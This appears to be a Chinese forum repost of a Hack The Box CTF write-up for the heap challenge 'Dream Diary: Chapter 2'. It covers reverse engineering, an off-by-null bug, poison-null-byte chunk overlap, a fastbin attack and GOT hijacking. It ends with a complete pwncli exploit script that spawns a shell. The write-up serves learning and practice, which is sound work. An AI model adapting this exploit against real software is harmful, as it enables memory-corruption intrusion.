[HTB]Dream Diary: Chapter 2

查看 19|回复 0
作者:kn0sky   
前言
该题目在1的基础上,内存布局申请变得更加混乱,原本的off by one变成了off by null,克服这些挑战拿到shell

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第2天,希望能坚持下去

题目情况
Hint: Xenial Xerus
这是ubuntu16.04lts的代号,意味着适用2.23的libc
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
逆向分析
这次选项更多了:
+------------------------------+
|         Dream Diary          |
+------------------------------+
| [1] Allocate                 |
| [2] Edit                     |
| [3] Delete                   |
| [4] Dump                     |
| [5] Exit                     |
+------------------------------+
选项1:Allocate
unsigned __int64 allocate()
{
  __int64 v0; // rbx
  int i; // [rsp+0h] [rbp-30h]
  size_t size; // [rsp+8h] [rbp-28h]
  __int64 buf; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]
  v5 = __readfsqword(0x28u);
  buf = 0LL;
  for ( i = 0; ; ++i )
  {
    if ( i > 15 )                               // 最多16个
    {
      puts("Too many notes!");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !*(&ptr + i) )
      break;
  }
  printf("\nSize: ");
  if ( (int)read(0, &buf, 4uLL)
申请操作会申请2次内存,第一次申请0x10字节的内存,保存输入的size,第二次申请指定size的内存,保存数据
可以猜测这里的ptr是个结构体:
sz ptr[COUNT];
struct sz{
    int size;
    char* data;
}
无漏洞
选项2:edit
unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  read(0, &buf, 4uLL);
  v1 = atoi((const char *)&buf);
  if ( (unsigned int)v1
这里使用输入的size来作为编辑data的大小上限,然后调用了sub_400B12:
__int64 __fastcall sub_400B12(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  result = a1 + a2;
  *(_BYTE *)(a1 + a2) = 0;
  return result;
}
给输入的数据末尾设置00作为字符串截断,这里字符串索引是从0开始的,这里没有对长度-1操作,导致off by null漏洞
选项3:Delete:
unsigned __int64 delete()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  read(0, &buf, 4uLL);
  v1 = atoi((const char *)&buf);
  if ( (unsigned int)v1
释放2块内存,但是只清空了size指针,没有清空data 的指针,可能uaf?
选项4:Dump
unsigned __int64 dummp()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  if ( (int)read(0, &buf, 4uLL)
可以用来泄露数据
利用分析
当前情况分析
  • 程序使用libc 2.23,可以攻击 Hook
  • 程序没有PIE,存在劫持指针数组的可能
  • 程序没有FULL RELRO,存在劫持GOT表的可能
  • 程序存在off by null漏洞,存在创造重叠快的可能
  • 程序释放内存后没有清空data指针,存在UAF或者double-free的可能
  • 程序有输出data段的函数,存在泄露数据的可能

    利用计划
    第一步:通过off by null作为入口点,创造重叠块
    第二步,通过fastbin attack劫持指针数组
    第三步:任意内存修改,攻击 ELF GOT 来 drop shell(打Hook也行,打IO也行,打哪儿都行)
    辅助函数
    def cmd(i, prompt=b">> "):
        sla(prompt, i)
    def add(sz:int,data:bytes):
        cmd('1')
        sla(b"Size: ",str(sz).encode())
        sla(b"Data: ",data)
        #......
    def edit(idx:int,data:bytes):
        cmd('2')
        sla(b"Indexs: ",str(idx).encode())
        sla(b"Data: ",data)
        #......
    def show(idx: int):
        cmd('4')
        sla(b"Index: ",str(idx).encode())
        #......
    def free(idx: int):
        cmd('3')
        sla(b"Index: ",str(idx).encode())  
        #......
    Heap FengShui - 提前布局
    每次申请内存都会分配1个0x20的chunk和一个我们自定义大小的chunk
    这个0x20大小的chunk穿插在中间很干扰操作,得想个办法处理一下
    在不断瞎操作下,发现,如果我能创造大量的0x20的fastbin chunk,那么自此之后再做新的申请,这个0x20就不会干扰我了
    # heap fengshui
    add(0x18,cyclic(0x18))
    add(0x18,cyclic(0x18))
    add(0x18,cyclic(0x18))
    add(0x18,cyclic(0x18))
    add(0x2f0,b"1")
    add(0x18,cyclic(0x18))      # 5
    free(0)
    free(1)
    free(2)
    free(3)
    free(4)
    第一步,申请一堆0x20的chunk,然后全部释放掉,都进入fastbin
    这里中间申请了一个0x2f0的chunk,用于后续操作用,会释放掉作为后续申请内存操作的空间
    最后申请的那个0x20用来分隔top chunk,防止合并
    此时的堆布局:
    pwndbg> vis 100
    0x1b86000       0x0000000000000000      0x0000000000000021      ........!.......         
    Poison Null Byte - 创造重叠 chunk
    对于off by null的场景,一个很好使的法子就是poison Null Byte,在libc2.23下,只需要满足伪造好next chunk的prev_size和size即可
    # poison null-byte
    add(0x28,b"\x00"*0x20+pack(0x30))      # 0
    add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21))     # 1
    add(0xb8,b"C")      # 2
    free(1)
    edit(0,b"AA")
    add(0x188,b"D")      # 1
    add(0x68,b"E"*7)      # 3
    free(1)
    free(2)
    申请1个小的chunkA,用于溢出,申请1个大的chunkB,用于在内部创造重叠chunk,申请1个能进unsortedbin的chunkC用于触发合并操作
    这里先将chunkB释放掉,通过off by null改小其size
    然后分2次申请内部chunkB1和chunkB2,其中chunkB2就是重叠chunk
    释放了chunkB1之后,chunkB1是unsortedbin chunk,链表是完整的
    然后释放chunkC,chunkC会触发向上合并,因为此时chunkC的prev_inused依然是之前释放chunkB时候的0,所以会根据prev_size定位上一个chunk,然后直接合并插入链表,没有其他的检查
    此时的堆:
    pwndbg> vis 100
    0x1b86000       0x0000000000000000      0x0000000000000021      ........!.......         
    得到了一个0x2d1的chunk,但是其中的chunkB2还处于被申请走的状态,自此得到重叠chunk
    Fastbin Attack - 劫持 ptr 数组
    chunkB2上有libc地址,顺便泄露出来用用,得到重叠chunk之后,就和之前一样,找fake fastbin chunk,申请走,覆盖ptr数组:
    show(3)
    ru(b"Data")
    leak = r(0x10)[10:]
    leak = unpack(leak,"all")
    success("leak addr: 0x{:x}".format(leak))
    #libc.address = leak-0x192b78   #  debug
    libc.address = leak-0x3c4b78
    success("libc base addr: 0x{:x}".format(libc.address))
    free(3)
    # fastbin attack & Hijack ptr array
    fd = 0x60209d
    add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd))      # 1
    此时的bins:
    pwndbg> bin
    fastbins
    0x20: 0x1b860e0 —▸ 0x1b860c0 —▸ 0x1b860a0 —▸ 0x1b86040 —▸ 0x1b86060 —▸ 0x1b86000 —▸ 0x1b86020 ◂— 0x0
    0x70: 0x1b862e0 —▸ 0x60209d ◂— 0x0
    unsortedbin
    empty
    smallbins
    empty
    largebins
    empty
    Hijack ELF GOT - Drop Shell
    最后一步了,现在能做到任意地址写了,就和之前的操作一样,直接劫持ptr,劫持elf GOT表完成Drop Shell
    add(0x68,b"a")
    # Hijack ELF GOT
    fake_arr = \
        pack(0x6020f0)+pack(0x6020e0)+\
        b"/bin/sh\x00"+pack(0)+\
        pack(0x6020e0)+pack(0x6020d0)+\
        pack(0x7) + pack(elf.got.free)
    add(0x68,b"\x00"*0x13 + fake_arr)
    edit(0 , pack(libc.sym.system))
    free(1)
    这就没啥好说的了,劫持free函数执行system函数,free一个有/bin/sh的地址
    完整exp
    #!/usr/bin/env python3
    # Date: 2024-10-25 10:44:30
    # Link: https://github.com/RoderickChan/pwncli
    # Usage:
    #     Debug : python3 exp.py debug elf-file-path -t -b malloc
    #     Remote: python3 exp.py remote elf-file-path ip:port
    from pwncli import *
    cli_script()
    io: tube = gift.io
    elf: ELF = gift.elf
    libc: ELF = gift.libc
    def cmd(i, prompt=b">> "):
        sla(prompt, i)
    def add(sz:int,data:bytes):
        cmd('1')
        sla(b"Size: ",str(sz).encode())
        sla(b"Data: ",data)
        #......
    def edit(idx:int,data:bytes):
        cmd('2')
        sla(b"Index: ",str(idx).encode())
        sla(b"Data: ",data)
        #......
    def show(idx: int):
        cmd('4')
        sla(b"Index: ",str(idx).encode())
        #......
    def free(idx: int):
        cmd('3')
        sla(b"Index: ",str(idx).encode())  
        #......
    # heap fengshui
    add(0x18,cyclic(0x18))
    add(0x18,cyclic(0x18))
    add(0x18,cyclic(0x18))
    add(0x18,cyclic(0x18))
    add(0x2f0,b"1")
    add(0x18,cyclic(0x18))      # 5
    free(0)
    free(1)
    free(2)
    free(3)
    free(4)
    # poison null-byte
    add(0x28,b"\x00"*0x20+pack(0x30))      # 0
    add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21))     # 1
    add(0xb8,b"C")      # 2
    free(1)
    edit(0,b"AA")
    add(0x188,b"D")      # 1
    add(0x68,b"E"*7)      # 3
    free(1)
    free(2)
    show(3)
    ru(b"Data")
    leak = r(0x10)[10:]
    leak = unpack(leak,"all")
    success("leak addr: 0x{:x}".format(leak))
    #libc.address = leak-0x192b78   #  debug
    libc.address = leak-0x3c4b78
    success("libc base addr: 0x{:x}".format(libc.address))
    free(3)
    # fastbin attack & Hijack ptr array
    fd = 0x60209d
    add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd))      # 1
    add(0x68,b"a")
    # Hijack ELF GOT
    fake_arr = \
        pack(0x6020f0)+pack(0x6020e0)+\
        b"/bin/sh\x00"+pack(0)+\
        pack(0x6020e0)+pack(0x6020d0)+\
        pack(0x7) + pack(elf.got.free)
    add(0x68,b"\x00"*0x13 + fake_arr)
    edit(0 , pack(libc.sym.system))
    free(1)
    ia()
    总结
    本练习相关的知识:

  • off by null 创造重叠块
  • poison null byte
  • Fastbin Attack
  • Hijack Elf GOT

    参考资料
  • [0] how2heap/glibc_2.23/poison_null_byte.c at master · shellphish/how2heap
  • [1] Hack The Box :: Hack The Box
  • [2] 原文链接:https://www.kn0sky.com/?p=f4e5ca87-0e8e-4bfa-a782-b6e0a2e8e67c

    内存, 指针

  • 您需要登录后才可以回帖 登录 | 立即注册

    返回顶部